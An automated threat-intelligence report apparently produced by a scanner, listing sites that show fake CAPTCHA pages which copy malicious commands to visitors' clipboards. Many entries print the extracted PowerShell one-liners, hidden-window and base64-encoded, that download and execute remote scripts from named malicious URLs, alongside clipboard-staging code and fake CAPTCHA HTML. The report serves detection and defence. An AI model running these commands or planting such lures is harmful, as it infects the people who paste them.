Threat Intelligence Report

📅 May 22, 2025 🕒 Generated: 2025-05-22 02:42:59 🔍 Sites Analyzed: 28
🌐
28
Total Sites Analyzed
⚠️
18
Malicious Sites
64.0% detection rate
💻
15
PowerShell Commands
📋
46
Clipboard Hijacks
📊
85
Avg Threat Score

Attack Pattern Analysis

30
High Risk Commands
15
Base64 Encoded
0
Obfuscated JS
0
Inline JS Redirects
0
External JS Chains
0
Redirect Follows
PowerShellCommands 15
EncodedPowerShell 0
ClipboardManipulation 31
ObfuscatedJavaScript 0
Base64Strings 15
JavaScriptRedirects 0
JavaScriptRedirectChains 0
RedirectFollows 0
CaptchaElements 241

Top Indicators/Keywords

<script> (18) ✅ (15) I am not a robot (15) reCAPTCHA Verification (15) I'm not a robot (15) To better prove you are not a robot (14) Verification ID (14) Verify You Are Human (13) display:none (2) <script src= (1)

Malicious Sites Detected

Click on a site to view detailed analysis
https://blessdayservices.org/up/
26 indicators detected
Score: 90 PowerShell Clipboard Hijacking
2
powershell
3
clipboard
3
downloads
14
captcha
4
high risk commands

💻 PowerShell Commands 2

powershell -ArgumentList '-w hidden -c iwr https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\"";
powershell " + htaPath;

🔍 Suspicious Keywords 7

✅
I am not a robot
Verification Hash
reCAPTCHA Verification
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 5

https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
https://www.google.com/intl/en/policies/privacy/
https://www.google.com/intl/en/policies/terms/
https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...dy.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextAr...
https://mail.lucprofessional.com.br/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://test.peperoncinochepassione.it/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

PowErsHeLL -W hiddEn "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://lucprofessional.com.br/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://www.website.mypetapp.co.za/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://www.lucprofessional.grupomoltz.com.br/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://thesignaturemag.salviatech.com/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://www.bratusferramentas.grupomoltz.com.br/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://website.mypetapp.co.za/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://horno-rafelet.es/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://lucprofessional.grupomoltz.com.br/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://www.thesignaturemag.salviatech.com/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://www.test.peperoncinochepassione.it/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

PowErsHeLL -W hiddEn "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
https://my.salviatech.com/
25 indicators detected
Score: 90 PowerShell Clipboard Hijacking
1
powershell
3
clipboard
1
downloads
12
captcha
1
base64
2
high risk commands

💻 PowerShell Commands 1

PowErsHeLL -W hiddEn "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`;

🔍 Suspicious Keywords 8

✅
I am not a robot
Verification ID
reCAPTCHA Verification
Verify You Are Human
To better prove you are not a robot
I'm not a robot
<script>

🌐 Extracted URLs 3

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...y.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
http://101.32.40.22/
20 indicators detected
Score: 90 Clipboard Hijacking Fake CAPTCHA
3
clipboard
11
captcha

🔍 Suspicious Keywords 6

✅
I am not a robot
Verification ID
reCAPTCHA Verification
I'm not a robot
<script>

🌐 Extracted URLs 4

https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
https://www.google.com/intl/en/policies/privacy/
https://www.google.com/intl/en/policies/terms/

📋 Clipboard Manipulation Code

Showing first 2 of 2 entries (truncated for performance) 

...); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }...
...dy.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextAr...
https://staplebrokenmetaliyro.blogspot.com/
55 indicators detected
Score: 90 Clipboard Hijacking Fake CAPTCHA
1
clipboard
47
captcha

🔍 Suspicious Keywords 7

<script>
\x3d
\x3c
\x22
\x3e
\x27
display:none

🌐 Extracted URLs 46

http://www.w3.org/1999/xhtml
http://www.google.com/2005/gml/b
http://www.google.com/2005/gml/data
http://www.google.com/2005/gml/expr
https://electricreport.org/ygd4g

📋 Clipboard Manipulation Code

Showing first 1 of 1 entries (truncated for performance) 

...ync' src='https://www.gstatic.com/external_hosted/clipboardjs/clipboard.min.js'></script> <meta name='google-adsense-platform-account' content='ca-hos...
http://82.146.62.232/
16 indicators detected
Score: 60 Fake CAPTCHA
11
captcha
1
base64

🔍 Suspicious Keywords 4

exec(
eval(
<script>
display:none

🌐 Extracted URLs 15

https://svetvip.ru/
https://api.whatsapp.com/send?phone=79258627909
https://api.whatsapp.com/send?phone=79258627909
https://svetvip.ru/catalog/vstraivaemye_svetilniki/
https://svetvip.ru/catalog/trekovye_i_shinnye_svetilniki/
https://barefootpilateslb.com/up/
5 indicators detected
Score: 30 Fake CAPTCHA
2
captcha
1
base64

🔍 Suspicious Keywords 2

<script src=
<script>

🌐 Extracted URLs 1

https://www.google.com

Technical Analysis

ClickGrab Threat Analysis Report - 2025-05-22

Most Common External Domains

  • www.google.com: 23 occurrences
  • use.fontawesome.com: 15 occurrences
  • staplebrokenmetaliyro.blogspot.com: 15 occurrences
  • cdnjs.cloudflare.com: 13 occurrences
  • www.blogger.com: 13 occurrences
  • www.webgo.de: 10 occurrences
  • t.me: 6 occurrences
  • www.w3.org: 6 occurrences
  • browser.certif-update.website: 4 occurrences
  • svetvip.ru: 4 occurrences

Common Pattern Analysis

reCAPTCHA imagery (15 occurrences, 1 distinct URLs)

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (15 times)

Font resources (28 occurrences, 2 distinct URLs)

  • https://use.fontawesome.com/releases/v5.0.0/css/all.css (15 times)
  • https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css (13 times)

CDN hosted scripts (14 occurrences, 2 distinct URLs)

  • https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css (13 times)
  • https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)

Google resources (25 occurrences, 9 distinct URLs)

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (15 times)
  • https://www.google.com/intl/en/policies/privacy/ (2 times)
  • https://www.google.com/intl/en/policies/terms/ (2 times)
  • https://www.google.com (1 times)
  • http://www.google.com/2005/gml/b (1 times)
  • ...and 4 more distinct URLs

JavaScript Clipboard Analysis

Found clipboard manipulation code snippets in 30 places

document.execCommand copy

Found in 30 snippets (100.0% of clipboard code)

Examples:

document.execCommand("copy")

textarea manipulation

Found in 30 snippets (100.0% of clipboard code)

Fake CAPTCHA HTML Examples

Here's how the fake CAPTCHA verification appears in HTML:

Example 1:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>

Example 2:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>

Command Context Analysis

Found 16 PowerShell download context snippets

stageClipboard Function

Found 13 references to stageClipboard function

Example stageClipboard contexts:

Example 1:

...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Example 2:

...dC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Example 3:

...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Clipboard Attack Pattern Analysis

Insufficient data to reconstruct the complete clipboard attack pattern